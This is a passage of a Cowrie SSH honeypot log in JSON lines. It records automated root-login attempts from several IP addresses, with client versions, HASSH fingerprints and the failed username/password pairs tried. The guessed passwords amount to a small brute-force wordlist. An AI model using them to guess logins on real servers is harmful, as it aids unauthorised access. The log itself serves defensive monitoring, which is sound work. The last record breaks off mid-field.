{"eventid":"cowrie.session.connect","src_ip":"43.173.83.154","src_port":48306,"dst_ip":"10.17.0.5","dst_port":22,"session":"245e4f8ca3b9","protocol":"ssh","message":"New connection: 43.173.83.154:48306 (10.17.0.5:22) [session: 245e4f8ca3b9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:22:52.549851Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:22:52.556340Z","src_ip":"43.173.83.154","session":"245e4f8ca3b9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:22:52.621505Z","src_ip":"43.173.83.154","session":"245e4f8ca3b9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"squid123","message":"login attempt [root/squid123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:22:52.885788Z","src_ip":"43.173.83.154","session":"245e4f8ca3b9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:22:53.958752Z","src_ip":"43.173.83.154","session":"245e4f8ca3b9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.128.112.183","src_port":39172,"dst_ip":"10.17.0.5","dst_port":22,"session":"1698de7bf0fd","protocol":"ssh","message":"New connection: 43.128.112.183:39172 (10.17.0.5:22) [session: 1698de7bf0fd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:22:59.379033Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:22:59.383442Z","src_ip":"43.128.112.183","session":"1698de7bf0fd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:22:59.623756Z","src_ip":"43.128.112.183","session":"1698de7bf0fd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"shinee","message":"login attempt [root/shinee] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:23:00.605750Z","src_ip":"43.128.112.183","session":"1698de7bf0fd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:23:01.847725Z","src_ip":"43.128.112.183","session":"1698de7bf0fd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.153.56.192","src_port":43318,"dst_ip":"10.17.0.5","dst_port":22,"session":"d1d05b809c59","protocol":"ssh","message":"New connection: 43.153.56.192:43318 (10.17.0.5:22) [session: d1d05b809c59]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:23:14.416552Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:23:14.424049Z","src_ip":"43.153.56.192","session":"d1d05b809c59","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:23:14.494194Z","src_ip":"43.153.56.192","session":"d1d05b809c59","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"abcd!@","message":"login attempt [root/abcd!@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:23:14.804933Z","src_ip":"43.153.56.192","session":"d1d05b809c59","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:23:15.877876Z","src_ip":"43.153.56.192","session":"d1d05b809c59","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:23:22.298430Z","src_ip":"89.223.69.22","session":"88bad9e76556","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.32.39.21","src_port":45696,"dst_ip":"10.17.0.5","dst_port":22,"session":"be25b1c9692f","protocol":"ssh","message":"New connection: 176.32.39.21:45696 (10.17.0.5:22) [session: be25b1c9692f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:23:26.605398Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:23:26.611491Z","src_ip":"176.32.39.21","session":"be25b1c9692f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:23:26.735729Z","src_ip":"176.32.39.21","session":"be25b1c9692f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"q1w2e3r4t5y6u7","message":"login attempt [root/q1w2e3r4t5y6u7] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:23:27.095101Z","src_ip":"176.32.39.21","session":"be25b1c9692f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:23:28.218230Z","src_ip":"176.32.39.21","session":"be25b1c9692f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.153.50.197","src_port":55434,"dst_ip":"10.17.0.5","dst_port":22,"session":"6093ea8372ad","protocol":"ssh","message":"New connection: 43.153.50.197:55434 (10.17.0.5:22) [session: 6093ea8372ad]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:23:34.151444Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:23:34.156422Z","src_ip":"43.153.50.197","session":"6093ea8372ad","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:23:34.224752Z","src_ip":"43.153.50.197","session":"6093ea8372ad","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"cj","message":"login attempt [root/cj] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:23:34.531952Z","src_ip":"43.153.50.197","session":"6093ea8372ad","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:23:35.603177Z","src_ip":"43.153.50.197","session":"6093ea8372ad","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"37.233.85.71","src_port":57838,"dst_ip":"10.17.0.5","dst_port":22,"session":"9109e47bf250","protocol":"ssh","message":"New connection: 37.233.85.71:57838 (10.17.0.5:22) [session: 9109e47bf250]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:23:37.926754Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:23:37.931382Z","src_ip":"37.233.85.71","session":"9109e47bf250","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:23:38.035184Z","src_ip":"37.233.85.71","session":"9109e47bf250","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1984","message":"login attempt [root/1984] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:23:38.335648Z","src_ip":"37.233.85.71","session":"9109e47bf250","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:23:39.438205Z","src_ip":"37.233.85.71","session":"9109e47bf250","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"20.203.59.187","src_port":41380,"dst_ip":"10.17.0.5","dst_port":22,"session":"9d5dd40f9a7b","protocol":"ssh","message":"New connection: 20.203.59.187:41380 (10.17.0.5:22) [session: 9d5dd40f9a7b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:23:57.026240Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:23:57.031056Z","src_ip":"20.203.59.187","session":"9d5dd40f9a7b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:23:57.198743Z","src_ip":"20.203.59.187","session":"9d5dd40f9a7b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"2085","message":"login attempt [root/2085] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:23:57.900795Z","src_ip":"20.203.59.187","session":"9d5dd40f9a7b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.134.1.45","src_port":50484,"dst_ip":"10.17.0.5","dst_port":22,"session":"03978b4637dd","protocol":"ssh","message":"New connection: 43.134.1.45:50484 (10.17.0.5:22) [session: 03978b4637dd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:23:58.350908Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:23:58.355768Z","src_ip":"43.134.1.45","session":"03978b4637dd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:23:58.592655Z","src_ip":"43.134.1.45","session":"03978b4637dd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:23:59.071094Z","src_ip":"20.203.59.187","session":"9d5dd40f9a7b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"baidu123","message":"login attempt [root/baidu123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:23:59.573509Z","src_ip":"43.134.1.45","session":"03978b4637dd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:24:00.813374Z","src_ip":"43.134.1.45","session":"03978b4637dd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"148.113.160.5","src_port":49856,"dst_ip":"10.17.0.5","dst_port":22,"session":"75fa8e88f3bf","protocol":"ssh","message":"New connection: 148.113.160.5:49856 (10.17.0.5:22) [session: 75fa8e88f3bf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:24:02.701339Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:24:02.706612Z","src_ip":"148.113.160.5","session":"75fa8e88f3bf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie